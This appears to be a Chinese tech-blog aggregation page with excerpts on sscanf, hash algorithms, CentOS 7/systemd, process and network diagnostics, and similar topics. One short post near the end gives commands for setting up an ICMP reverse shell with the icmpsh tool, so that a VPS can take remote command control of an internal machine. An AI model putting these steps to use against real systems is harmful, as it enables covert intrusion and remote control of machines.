背景:做日志分析,linux C 的开发环境,在对每行日志进行处理的时候,手下一个小伙用的是逐字节拆分成字段(也就是指针)。刚开始没注意,后来每天10几G的日志上来后,发现除了速度特别慢以外,还经常出问题,遇到错误格式的日志就直接崩溃。。。从文件读取数据是一件很麻烦的事,所幸有sscanf()函数,对网络输入数据也就是从一个字符串中读进与指定格式相符的数据并进行分组也是可行的。

在做一道九度上机题时,突然发现sscanf()函数非常有用,就顺便从网上搜集资料整理一下。
       sscanf() 的作用:从一个字符串中读进与指定格式相符的数据.
原型: int sscanf (const char *str,const char * format,........);
说明: sscanf()会将参数str的字符串根据参数format字符串来转换并格式化数据。转换后的结果存于对应的参数内。
         成功则返回参数数目,失败则返回0。
注意:sscanf与scanf类似,都是用于输入的,只是后者以键盘(stdin)为输入源,前者以固定字符串为输入源。
大家都知道sscanf是一个很好用的函数,利用它可以从字符串中取出整数、浮点数和字符串等等。它的使用方法简单,特别对于整数和浮点数来说。
这里就举几个经常用到的例子来说明他的用法,便于大家深刻理解他的用法.



[root@test sscanf]# gcc sscanf.c
[root@test sscanf]# ./a.out
用法一
str = 1234
用法二
time = 2013-2-13 14:55:34
用法三
str = 12345
用法四
str = acc
用法五
str = 12345
用法六
str = 12345+


同进,我想把http请求里的get的串取出来,怎么办?

编译运行调试:
[root@test sscanf]# gcc sscanf.c      
[root@test sscanf]# ./a.out
用法七
str = task


来自:http://blog.csdn.net/sjf0115/article/details/8579935
开始前我要先做个澄清:这篇文章同Linus Torvalds这种死忠C程序员吐槽C++的观点是不同的。在我的整个职业生涯里我都在使用C++,而且现在C++依然是我做大多数项目时的首选编程语言。自然的,当我从2007年开始做ZeroMQ(ZeroMQ项目主页)时,我选择用C++来实现。主要的原因有以下几点:

1.  包含数据结构和算法的库(STL)已经成为这个语言的一部分了。如果用C,我将要么依赖第三方库要么不得不自己手动写一些自1970年来就早已存在的基础算法。

2.  C++语言本身在编码风格的一致性上起到了一些强制作用。比如,有了隐式的this指针参数,这就不允许通过各种不同的方式将指向对象的指针做转换,而那种做法在C项目中常常见到(通过各种类型转换)。同样的还有可以显式的将成员变量定义为私有的,以及许多其他的语言特性。

3.  这个观点基本上是前一个的子集,但值得我在这里显式的指出:用C语言实现虚函数机制比较复杂,而且对于每个类来说会有些许的不同,这使得对代码的理解和维护都会成为痛苦之源。

4.  最后一点是:人人都喜欢析构函数,它能在变量离开其作用域时自动得到调用。阅读全文
背景:对于文件块验证,或字符串的传输是否在网络中修改过,这儿有各种方法,MD5、SHA1、CRC32这三个用于检测文件是否被修改过,哪个可靠性最高?我看特别是分片上传这块,有的是md5,有的是sha1,有的是crc的验证,如优酷(是crc的)、百度云、126的邮箱大附件上传等都有这么一个环节~于是,在网上找相关文章了解一下其不同及性能上的差别。

MD5 和SHA1的基本原理都是一样的,都是将一个文件按照一定的算法计算后得到一个固定位数的数据,这个数据就是这个文件的(MD5,SHA1)值。而且这个值是唯一的,也就是说只有这个文件经过计算后能够得到这个值,里面哪怕有一个标点的改动所计算的值的差别都会很大。只需要在本地再进行一次MD5,SHA1的计算和原值比较即可知道源文件是否完整。CRC校验通常是将CRC的校验码放在数据文件的后面一同发送给接受方,接收方再次通过计算来判定数据的完整性。
目前如果用于加密领域,SHA的安全性能最高。如果你的可靠性是指文件的完整性,那么个人觉得MD5和SHA1要比CRC32好一些。
————————————————————————————————————————————————————————————————————————————
一、MD5与SHA算法
    Hash函数又称杂凑函数,用于摘要算法,它是将不定长的明文信息经过复杂的运算得到一个定长的数值,这就是“签名”。摘要算法与一般的对称或非对称加密算法不同,它并不用于防止信息被窃取,而是用于证明原文的完整性和准确性,也就是说,数字签名主要是用于防止信息被篡改。

由于Hash函数产生定长的数字签名,其结果是个有限的集合,而待签名的明文信息可以是计算机网络上传输的任意信息,也就是说,明文信息是一个无限集合,两个集合之间其实无法构成一一对应的关系,总会有多个明文信息产生相同的数字签名的情况发生,这就是所谓的“碰撞”。不过Hash函数的可靠性在概率上仍可以算法的健壮性来保证,数字签名类似指纹,只要选择足够全的算法,产生碰撞的概率就会足够小,可令现代最先进的计算设备也找不出“碰撞”,这样算法就不会被破解了。

     MD5(RFC1321)诞生于1991年,全称是“Message-Digest Algorithm信息摘要算法)5”,由MIT的计算机安全实验室和RSA安全公司共同提出,之前已经有MD2、MD3和MD4几种算法。MD5克服了MD4的缺陷,生成128bit的摘要信息串,出现之后迅速成为主流算法,并在1992年被收录到RFC中。

MD5算法是1991年发布的一项数字签名加密算法,它当时解决了MD4算法的安全性缺陷,成为应用非常广泛的一种算法。作为Hash函数的一个应用实例。

SHA诞生于1993年,全称是安全散列算法(Secure Hash Algorithm),由美国国家安全局(NSA)设计,之后被美国标准与技术研究院(NIST)收录到美国的联邦信息处理标准(FIPS)中,成为美国国家标准,SHA(后来被称作SHA-0)于1995被SHA-1(RFC3174)替代。SHA-1生成长度为160bit的摘要信息串,虽然之后又出现了SHA-224、SHA-256、SHA-384和SHA-512等被统称为“SHA-2”的系列算法,但仍以SHA-1为主流。

SHA-1的应用范围或许比MD5更加广泛,其安全性较MD5要高出很多。SHA-1是美国国家标准技术研究院(NIST)与美国国家安全局(NSA)共同设计的,一些重要的场合都选择SHA-1来做数字签名。美国政府更是早在1994年就开始采用了SHA-1算法。

MD5和SHA-1是当前应用最为广泛的两种散列算法。常见的Unix系统口令以及多数论坛/社区系统的口令都是经MD5处理后保存其摘要信息串,在互联网上,很多文件在开放下载的同时都提供一个MD5的信息摘要,使下载方(通过MD5摘要计算)能够确认所下载的文件与原文件一致,以此来防止文件被篡改。

    MD5和SHA-1还常被用来与公钥技术结合来创建数字签名。当前几乎所有主要的信息安全协议中都使用了SHA-1或MD5,包括SSL(HTTPS就是SSL的一种应用)、TLS、PGP、SSH、S/MIME和IPSec,因此可以说SHA-1和MD5是当前信息安全的重要基础之一。

    不过,从技术上讲,MD5和SHA-1的碰撞可在短时间内被求解出并不意味着两种算法完全失效。例如,对于公文的数字签名来说,寻找到碰撞与寻找到有特定含义的碰撞之间仍有很大的差距,而后者才会使伪造数字公文成为现实。但无论如何,王小云教授所掌握的方法已经为短时间内寻找到MD5或SHA-1的碰撞成为可能,这足以使经过MD5或SHA-1处理的数字签名再也难以成为法律认可的依据。

MD5和SHA-1就曾经被认为是足够安全的Hash算法。虽然早在1994年就有研究报告指出,如果用运算能力最强的机器,平均用24天就可能找到一个MD5的碰撞,但这个方法的效率和成本在现实中并不具备实际的意义。王小云在接受本报记者独家采访时透露,她独创的“模差分”算法可以用一般性能的计算机在两个小时内就找到MD5的碰撞,已经为实际应用提供了可能。

来自:http://blog.csdn.net/liyangbing315/article/details/5682107

二、微软出品:MD5和SHA1值验证命令行工具
基本使用方法:
fciv.exe  myfilm.iso  -wp -md5 -xml mydb.xml
该命令可以计算myfilm.iso的md5值,并且保存到mydb.xml当中,同时会保存该文件的名称,-wp的作用是去掉文件的路径信息仅仅保存文件名

fciv.exe -list -md5 -xml mydb.xml
打印mydb.xml当中的md5值以及相应的文件名称,它的显示格式也比较特别,首先打印md5值,随后是文件名称

fciv.exe d:\mymusic\   -tpye *.mp3 -wp -md5 -xml mymusic.xml
计算d盘mymusic文件夹下面,所有以MP3结尾的文件的md5值并且保存到mymusic.xml当中

由于这是一个命令行工具,因此可以批处理的方式,大量自动化计算各种md5值。

工具下载地址和基本的使用方法介绍见下面的链接
http://support.microsoft.com/kb/841290
DownLoad Url:http://download.microsoft.com/download/c/f/4/cf454ae0-a4bb-4123-8333-a1b6737712f7/Windows-KB841290-x86-ENU.exe

摘自:http://blog.chinaunix.net/uid-20385936-id-3841729.html

三、PHP md5 vs sha1 性能测试
先上代码:

Win7 PHP 5.3.5 cli 下连续三次的输出
D:\test>php md5-vs-sha1.php
0.36025786399841
0.47072792053223

D:\test>php md5-vs-sha1.php
0.36374092102051
0.47682809829712

D:\test>php md5-vs-sha1.php
0.37186717987061
0.55312395095825
Ubuntu Server 11.04 PHP 5.3.5 cli 下的连续三次的输出
  
$ php md5-vs-sha1.php
0.4476261138916
0.45379900932312

$ php md5-vs-sha1.php
0.43760395050049
0.45441389083862

$ php md5-vs-sha1.php
0.44000005722046
0.53387594223022
由此可见,md5 会比 sha1 稍微快一点点,两者都不会造成性能问题。
From:http://my.oschina.net/heiing/blog/122914
背景:用新版本的编译器编译时,原来没有报任何错和警告的代码,现在居然报出警告了,
之前是:

无错误,现在是新的gcc v4.4的编译器编译时候出现警告了,如下:


警告如下:
multipepollserver.cpp:530: warning: deprecated conversion from string constant to ‘char*’
multipepollserver.cpp:536: warning: deprecated conversion from string constant to ‘char*’
multipepollserver.cpp:537: warning: deprecated conversion from string constant to ‘char*’

原来是定义pid变量时,新的gcc版本需要加上const,也就是:

为何要加,下面文章有描写道:
阅读全文
一、记录CentOS 7与以往不同的地方
由于公司这一期的产品准备支持的环境有CentOS 7、MySql 5.6、Java 8、Tomcat 8等等,并且因为人员严重不足,我本月的开发任务在原有的基础上又加上了好多环境检证的工作。
  因为在这次环境检证过程中遇到了不少困难,特此记录一下。
  重点:记录CentOS 7与以往不同的地方
  1.取消ifconfig,使用ip addr 查看IP地址。  
  2.使用firewalld 取代 iptables。
  3.系统默认编码设置文件,由/etc/sysconfig/i18n  更改为 /etc/locale.conf
___________________________详细介绍使用感受__________________________
因为系统安装时网络连接设置的自动获取,先改成静态ip。配置方法如下:
  第一步,vi /etc/sysconfig/network-scripts/ifcfg-enp0s25;
  设置内容:
  
  解释:  
IPADDR0 --> ip
GATEWAY0 --> 网关
DNS1 -->DNS
  
  第二步,重启网络服务 -->service network restart(特别重要,千万不要忘记。)
  第三步.查看ip ip addr,再 ping 一下网络。这是网络配置基本就完成了。
  事情进展到这里貌似也没什么难过的坎,我开始配置防火墙。先使用 iptables status 查看防火墙状态,
  
  我去,什么鬼?我敲错了?有一次仔细核对了每一个字母,完全没错啊!!!不管怎么说,先看一下iptables脚本是否还存在吧。
  
  咦,iptables脚本不见了。不用多想一定是CentOS 7使用了新型的防火墙,立即百度。
  ※度娘解惑:CentOS 7使用firewalld 取代 iptables。使用命令行工具firewalld-cmd获取firewalld状态,$ firwall-cmd --state。
摘自:http://www.linuxidc.com/Linux/2015-01/111998.htm

————————————————————————————————————————————————————————————
二、修改开机启动顺序:
http://wenku.baidu.com/link?url=HXBiVyBOB_p1oAEN0Wunreof9Fff9dy4s6abRC_Zqq6Cm1ZbOvmgXrcQ3kC3OTLmDq-FwrjeK-Fw9zgoZ3yBGGyA_ikGSRtjvhjcS_dEaQu

————————————————————————————————————————————————————————————
三、 CentOS 7 巨大变动之 systemd 取代 SysV的Init
systemd是什么
首先systmed是一个用户空间的程序,属于应用程序,不属于Linux内核范畴,Linux内核的主要特征在所有发行版中是统一的,厂商可以自由改变的是用户空间的应用程序。
Linux内核加载启动后,用户空间的第一个进程就是初始化进程,这个程序的物理文件约定位于/sbin/init,当然也可以通过传递内核参数来让内核启动指定的程序。这个进程的特点是进程号为1,代表第一个运行的用户空间进程。不同发行版采用了不同的启动程序,主要有以下几种主流选择:
(1)以Ubuntu为代表的Linux发行版采用upstart。
(2)以7.0版本之前的CentOS为代表的System V init。
(3)CentOS7.0版本的systemd。
下面是CentOS6.5和CentOS7两个版本初始化进程的信息截图。
CentOS6.5采用的是systemV init
CentOS7 采用的是systemd:
Linux内核加载启动后,用户空间的第一个进程就是初始化进程,这个程序的物理文件约定位于/sbin/init,当然也可以通过传递内核参数来让内核启动指定的程序。这个进程的特点是进程号为1,代表第一个运行的用户空间进程。不同发行版采用了不同的启动程序,主要有以下几种主流选择:
(1)以Ubuntu为代表的Linux发行版采用upstart。
(2)以7.0版本之前的CentOS为代表的System V init。
(3)CentOS7.0版本的systemd。
下面是CentOS6.5和CentOS7两个版本初始化进程的信息截图。
CentOS6.5采用的是systemV init
CentOS7 采用的是systemd

摘自:http://blog.csdn.net/smstong/article/details/39317491

参考:https://blog.linuxeye.com/400.html

=======================centos7上systemd详解============================
CentOS 7继承了RHEL 7的新的特性,例如强大的systemd, 而systemd的使用也使得以往系统服务的/etc/init.d的启动脚本的方式就此改变, 也大幅提高了系统服务的运行效率。但服务的配置和以往也发生了极大的不同,同时变的简单而易用了许多。

CentOS 7的服务systemctl脚本存放在:/usr/lib/systemd/,有系统 system 和用户 user 之分, 即:/usr/lib/systemd/system 和 /usr/lib/systemd/user

配置文件

这里我们先要说明一下unit的文件位置,一般主要有三个目录:

/lib/systemd/system
/run/systemd/system
/etc/systemd/system
这三个目录的配置文件优先级依次从低到高,如果同一选项三个地方都配置了,优先级高的会覆盖优先级低的。 系统安装时,默认会将unit文件放在/lib/systemd/system目录。如果我们想要修改系统默认的配置,比如nginx.service,一般有两种方法:

在/etc/systemd/system目录下创建nginx.service文件,里面写上我们自己的配置。
在/etc/systemd/system下面创建nginx.service.d目录,在这个目录里面新建任何以.conf结尾的文件,然后写入我们自己的配置。推荐这种做法。
/run/systemd/system这个目录一般是进程在运行时动态创建unit文件的目录,一般很少修改,除非是修改程序运行时的一些参数时,即Session级别的,才在这里做修改。

服务配置

每一个服务以.service结尾,一般会分为3部分:[Unit]、[Service]和[Install],就以nginx为例吧,具体内容如下:
[Unit]
Description=nginx - high performance web server
Documentation=http://nginx.org/en/docs/
After=network.target remote-fs.target nss-lookup.target
[Service]
Type=forking
PIDFile=/usr/local/nginx/logs/nginx.pid
ExecStartPre=/usr/local/nginx/sbin/nginx -t -c /usr/local/nginx/conf/nginx.conf
ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf
ExecReload=/bin/kill -s HUP $MAINPID
ExecStop=/bin/kill -s QUIT $MAINPID
PrivateTmp=true
[Install]
WantedBy=multi-user.target
配置项说明

下面分别解释下着三部分的含义

[Unit]

Description : 服务的简单描述
Documentation : 服务文档
After= : 依赖,仅当依赖的服务启动之后再启动自定义的服务单元
[Service]

Type : 启动类型simple、forking、oneshot、notify、dbus
Type=simple(默认值):systemd认为该服务将立即启动,服务进程不会fork。如果该服务要启动其他服务,不要使用此类型启动,除非该服务是socket激活型
Type=forking:systemd认为当该服务进程fork,且父进程退出后服务启动成功。对于常规的守护进程(daemon),除非你确定此启动方式无法满足需求, 使用此类型启动即可。使用此启动类型应同时指定PIDFile=,以便systemd能够跟踪服务的主进程。
Type=oneshot:这一选项适用于只执行一项任务、随后立即退出的服务。可能需要同时设置 RemainAfterExit=yes 使得 systemd 在服务进程退出之后仍然认为服务处于激活状态。
Type=notify:与 Type=simple 相同,但约定服务会在就绪后向 systemd 发送一个信号,这一通知的实现由 libsystemd-daemon.so 提供
Type=dbus:若以此方式启动,当指定的 BusName 出现在DBus系统总线上时,systemd认为服务就绪。
PIDFile : pid文件路径
ExecStartPre :启动前要做什么,上文中是测试配置文件 -t
ExecStart:启动
ExecReload:重载
ExecStop:停止
PrivateTmp:True表示给服务分配独立的临时空间
[Install]

WantedBy:服务安装的用户模式,从字面上看,就是想要使用这个服务的有是谁?上文中使用的是:multi-user.target ,就是指想要使用这个服务的目录是多用户。
每一个.target实际上是链接到我们单位文件的集合,当我们执行

systemctl enable nginx.service
就会在 /etc/systemd/system/multi-user.target.wants/ 目录下新建一个 /usr/lib/systemd/system/nginx.service 文件的链接。
systemctl status logstash.service
● logstash.service - logstash
   Loaded: loaded (/etc/systemd/system/logstash.service; enabled; vendor preset: disabled)
   Active: active (running) since Thu 2020-07-16 10:51:32 CST; 29min ago

systemctl is-enabled logstash.service
enabled

/etc/systemd/system/logstash.service

操作示例

下面是几个最常用的service操作:
# 自启动
systemctl enable nginx.service
# 禁止自启动
systemctl disable nginx.service
# 启动服务
systemctl start nginx.service
# 停止服务
systemctl stop nginx.service
# 重启服务
systemctl restart nginx.service
# 查看Unit定义文件
systemctl cat nginx.service
# 编辑Unit定义文件
systemctl edit nginx.service
# 重新加载Unit定义文件
systemctl reload nginx.service
# 列出已启动的所有unit,就是已经被加载到内存中
systemctl list-units
# 列出系统已经安装的所有unit,包括那些没有被加载到内存中的unit
systemctl list-unit-files
# 查看服务的日志
journalctl -u nginx.service    # 还可以配合`-b`一起使用,只查看自本次系统启动以来的日志
# 查看所有target下的unit
systemctl list-unit-files --type=target
# 查看默认target,即默认的运行级别。对应于旧的`runlevel`命令
systemctl get-default
# 设置默认的target
systemctl set-default multi-user.target
# 查看某一target下的unit
systemctl list-dependencies multi-user.target
# 切换target,不属于新target的unit都会被停止
systemctl isolate multi-user.target
systemctl poweroff    # 关机
systemctl reboot       # 重启
systemctl rescue    # 进入rescue模式
参考资料

create systemd unit files
NGINX systemd service file
Systemd introduction

From:https://www.xncoding.com/2016/06/07/linux/systemd.html
背景:多进程时用管道进行子进程间或子进程于线程之间通讯,出现父进程已经双close后还是出现了当有请求来时,子进程写入处理线程时管道阻塞住了,怎么办,管道调试试试看了,学习备忘下。

1)管道的调试
阅读全文
问题:
这个是一个进程,并且21263是21326的父进程,如果我知道某个子进程的ID号,如何找到他的父进程是哪个?
prod 21326 21263   0 02:04:41 ?           0:00 /p05/product/oracle10g/iAS/bin/httpd -d /p05/
最好是用:ps -ef --forest
-l,l long          u  user-oriented   --sort --tty --forest --version

\_ sshd: xiangdong [priv]
|   \_ sshd: xiangdong@pts/7,pts/17,pts/10,pts/14,pts/15
|       \_ -bash
|       |   \_ su -
|       |       \_ -bash
|       \_ -bash
|       |   \_ su -
|       |       \_ -bash
|       \_ -bash
|       |   \_ su -
|       |       \_ -bash
|       |           \_ ps aux --forest
|       \_ -bash
|       |   \_ su -
|       |       \_ -bash
|       \_ -bash
|           \_ su -
|               \_ -bash
|                   \_ [httpmut: master process] H?????5?"


如nginx和php-fpm:
root     32550     1  0  2014 ?        00:00:00 nginx: master process ../sbin/nginx
www        730 32550  0 Jan26 ?        00:00:01  \_ nginx: worker process
www        731 32550  0 Jan26 ?        00:00:00  \_ nginx: worker process
www        732 32550  0 Jan26 ?        00:00:01  \_ nginx: worker process

root      6482     1  0  2014 ?        00:00:00 php-fpm: master process (/usr/local/php/etc/php-fpm.conf)              
www       6483  6482  0  2014 ?        00:05:20  \_ php-fpm: pool www                                                      
www       6484  6482  0  2014 ?        00:05:26  \_ php-fpm: pool www                                                      
和ps aux|grep nginx一样的结果。

——————————————————————————————————————————————————

方法一:
lsof好像可以:


方法二:
ps -ef|awk '$2 ~ /pid/{print $2}'
pid :子进程ID
ps -ef|awk '$2 ~ /10555/{print $2}'

方法三:
ps -ef --forest
www      10555     1  0 15:08 pts/6    00:00:00 [httpmut: worker process] H????

摘处:http://bbs.chinaunix.net/thread-1810739-1-1.html
背景:sqllite这个小小的sql数据库,性能不错,尤其在Linux上的一些散型业务,完全可以用它,小巧、高效、无端口、单文件。
     最新发布的SQLite 3.8.7 alpha版(下载页面http://www.sqlite.org/download.html)比16个月前发布的3.7.17版快50%。这也就是说,在相同数量的CPU指令周期里,最新版的SQLite能多做50%的工作。

性能提升的幅度要比我们进行改进时预想的结果漂亮的多。我们在不断的寻找新的方法来执行查询语句操作,并把优秀的方法新增到查询引擎中。比如,在前一版中,我用新的方法改进了IN操作,新方法要比老方法速度快5倍,这个消息我们曾在邮件列表里公布过。

这50%的提升,并不是我们有了更好的查询策略。这50%是指我们在磁盘上移动字节的速度和b-trees搜索效率。我们进行成百上千的微优化后才获得了这样的成果。这每个微优化都能让性能提升一点,比如0.05%。如果我们能一次提升0.25%,这将被认为是一次巨大的成功。所有的这些优化中现实系统中都是无法测量到的,但我们不断的积累,较少成多。

最近的一次更新后我们又有了10%的提升。我们做了很多的修改。所有的测试都通过了,我们有100%的测试覆盖率,所以,我们相信,里面不会有太多的bug。但是,你们的试用是我们质量提升的重要一部分。请下载最新的alpha版试用,让我们知道你遇到的问题。谢谢。
找到一个进程正在使用的所有文件,比如日志
比如找叫ttserver的进程使用的文件
查看id
pidof ttserver
ls -la /proc/`pidof ttserver`/fd/



---------------------例子--------------------


来自:http://haoningabc.iteye.com/blog/1122862

如查mysql打开了哪些文件:
ps aux|grep mysql
PID: 3005
ls  -la  /proc/3005/fd/

Nginx:
ps aux|grep nginx
PID:  10906
查看它打开了哪些文件:
ls  -la  /proc/10906/fd/
l-wx------ 1 root root 64 1月  23 21:49 35 -> /usr/local/nginx/logs/access.log
l-wx------ 1 root root 64 1月  23 21:49 4 -> /usr/local/nginx/logs/error.log
l-wx------ 1 root root 64 1月  23 21:49 6 -> /data/logs/nginx/access_svn_boosh.log
l-wx------ 1 root root 64 1月  23 21:49 7 -> /data/logs/nginx/access_jiayuanmeng.log
背景:自己的虚拟机突然起不来了,ip没了,vmware的DHCP服务NAT服务在windows上都在,后来发现还是自己的windows下的vmware的dhcp没有启动起来,启动后好了。

问题描述:虚拟机使用wget命令上网,执行service network restart后出现如下错误

Determining IP information for eth0...failed

解决办法:

step1:修改/etc/sysconfig/network-scripts/ifcfg-eth0   BOOTROTO=dhcp

step2:向如下三个文件中添加如下代码



(1)/etc/sysconfig/network-scripts/ifcfg-eth0    
(2)/etc/sysconfig/networking/devices/ifcfg-eth0  
(3)/etc/sysconfig/networking/profiles/default/ifcfg-eth0
step3:设置PC为自动获取DNS,(也有其他方法)

step4:设置虚拟机自动获取ip

step5:重启系统!(注意:有时候执行service network restart等命令还是无用的)

摘自:http://blog.csdn.net/weiqing1981127/article/details/17955843
背景: 有的时候可能有网络访问链路异动也会导致我们的系统出现访问超时,延迟等情况。因为检测查看到达服务器的网络路由也是很有必要的。记的有一次国外系统访问国内服务器接口,由于机房运营商调整了网络链路,导致丢包严重,影响到系统的服务质量。
     mtr(my traceroute)命令相比ping和tracert及traceroute相比更加强大,而且以友好的格式化文本的形式方便我们查看到达任何一个网络节点或服务器的网络路由路径。

一个集合ping和traceroute功能并能直观显示结果的网络管理工具mtr;
官网地址
http://www.BitWizard.nl/mtr
下载地址
ftp://ftp.bitwizard.nl/mtr/
CentOS和Redhat可使用yum安装,一般系统默认已安装该工具;

实例: 查看本地服务器到baidu.com的路由路径情况:

mtr www.baidu.com


丢包率:Loss,已发送的包数:Snt,最后一个包的延时:Last,平均延时:Avg,最低延时:Best,最差延时:Wrst,方差(稳定性):StDev

local200-65.boyaa.com             Snt: 3     Loss%  Last   Avg  Best  Wrst StDev
192.168.200.1                                 0.0%   4.5   5.0   4.3   6.3   1.1
???                                          100.0   0.0   0.0   0.0   0.0   0.0
???                                          100.0   0.0   0.0   0.0   0.0   0.0
121.15.179.105                                0.0%   7.6   4.5   2.8   7.6   2.7
58.60.24.57                                  33.3%   2.6   3.9   2.6   5.1   1.7
119.145.45.245                                0.0%   2.1  10.2   1.8  26.8  14.3
202.97.64.61                                  0.0%  25.1  26.0  24.5  28.5   2.2
202.102.73.98                                 0.0%  33.1  31.2  28.7  33.1   2.3
???                                          100.0   0.0   0.0   0.0   0.0   0.0
180.97.32.10                                  0.0%  25.5  29.6  25.5  34.8   4.7
???                                          100.0   0.0   0.0   0.0   0.0   0.0
180.97.33.107                                 0.0%  24.4  25.4  24.4  27.5   1.8


摘自:http://blog.csdn.net/fableboy/article/details/38566635
参考:http://blog.sina.com.cn/s/blog_4d8a2c970100fy1x.html

mtr(a network diagnostic tool)是一个神奇的指令,能按要求对路由中所有节点进行批量测试。简单敲一个“mtr qq.com”将会有意外收获!

当需要进行产品级的网络测试时,可在服务器上运行一段时间的mtr测试形成报告。如下脚本:


脚本会对网址列表进行1万次遍历,打印每次的丢包率和平均延时时间。网址可以随意添加,生成csv文件用Excel处理生成图表。希望对你也有用!

来自:http://www.51testing.com/html/28/116228-808230.html
hacker在具有公网ip的VPS上启动server,在被控机器上启动client ,client主动连接server,从而实现通信。为什么是client主动连接server呢?因为被控机器一般是在内网中,没有公网ip。
有没有相应的开源项目呢?当然是有的,https://github.com/inquisb/icmpsh/,这个实现了一个简单icmp反弹shell,它其中的client叫做slave,server叫做master,都是一回事。

能通过icmp协议抓包到Ping服务器的出口IP地址,以及反射木马的一个机制,这里的IP也就是Ping的机器在没有WebChrome的代理时访问 ip138.com的出口地址:
tcpdump -i eth1 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth1, link-type EN10MB (Ethernet), capture size 65535 bytes
16:46:11.433487 IP pinger-e2.ant.isi.edu > levoo.com: ICMP echo request, id 23878, seq 4694, length 12
16:46:11.433528 IP levoo.com > pinger-e2.ant.isi.edu: ICMP echo reply, id 23878, seq 4694, length 12
16:46:12.832107 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 15, length 40
16:46:12.832151 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 15, length 40
16:46:13.835082 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 16, length 40
16:46:13.835119 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 16, length 40
16:46:14.837375 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 17, length 40
16:46:14.837411 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 17, length 40
16:46:15.841689 IP 202.108.16.80 > levoo.com: ICMP echo request, id 52348, seq 18, length 40
16:46:15.841725 IP levoo.com > 202.108.16.80: ICMP echo reply, id 52348, seq 18, length 40

教你学木马攻防:    https://cloud.tencent.com/developer/article/1405019
ICMP传送数据原理:https://www.cnblogs.com/qiyeboy/p/9017921.html


Server端:
wget https://raw.githubusercontent.com/inquisb/icmpsh/master/icmpsh_m.py
第一个参数是VPS的公网ip,第二个参数是被控机器的公网ip。被控机器的公网ip用上在这种方式获取。

VPS Server的条件:
master端部署在我自己的VPS上,具有公网ip,首先关闭自身的icmp应答:
$ sysctl -w net.ipv4.icmp_echo_ignore_all=1           (开启置为0)
然后就可以启动icmp应答程序.
先在VPS启动命令:
python icmpsh_m.py  源ip 目的ip
python icmpsh_m.py 101.200.228.135 202.108.16.80
You need to install Python Impacket library first


接着在被控端启动命令:  
icmpsh.exe -t  目的ip
这样ICMP反弹shell就建立了,可以远程执行命令了。

阅读全文
man ps里有:
ps -eLf查看线程状态,获取线程信息
-e     Select all processes.  Identical to -A.  -e 选择所有进程。 与 -A 相同。
ps -eLf
       -f 做全格式列表。该选项可与许多其他 UNIX 样式的选项结合使用,以添加额外的列。 它还会导致参数打印出来。 与 -L 一起使用时,将添加 NLWP(线程数)和 LWP(线程 ID)列。 参见 c 选项、格式关键字 args 和格式关键字 comm。


不加-e的全量,加上进程名查看此进程的所有线程(LWP (thread ID)):
ps -Lf -C pdfwatcherd
UID        PID  PPID   LWP  C NLWP STIME TTY          TIME CMD
root     48369     1 48369  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48370  0    8 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48371  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48372  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48373  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48375  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48376  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48377  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48374  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48378  0    6 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48379  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48380  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48381  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48382  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d

ps -ef|grep pdfwatcherd
root     37734  7504  0 11:31 pts/1    00:00:00 grep --color=auto pdfwatcherd
root     48369     1  0 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369  0 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
48374 下面有:5个线程(48374 48369 48374 除外):
root     48374 48369 48378  0    6 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48379  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48380  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48381  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48374 48369 48382  0    6 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d

48369(48369     1 )下面有7个线程(去掉root     48369     1 48369):
root     48369     1 48370  0    8 Dec08 ?        00:00:01 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48371  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48372  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48373  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48375  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
root     48369     1 48376  0    8 Dec08 ?        00:00:00 /usr/local/pdfwatcher/bin/pdfwatcherd -d
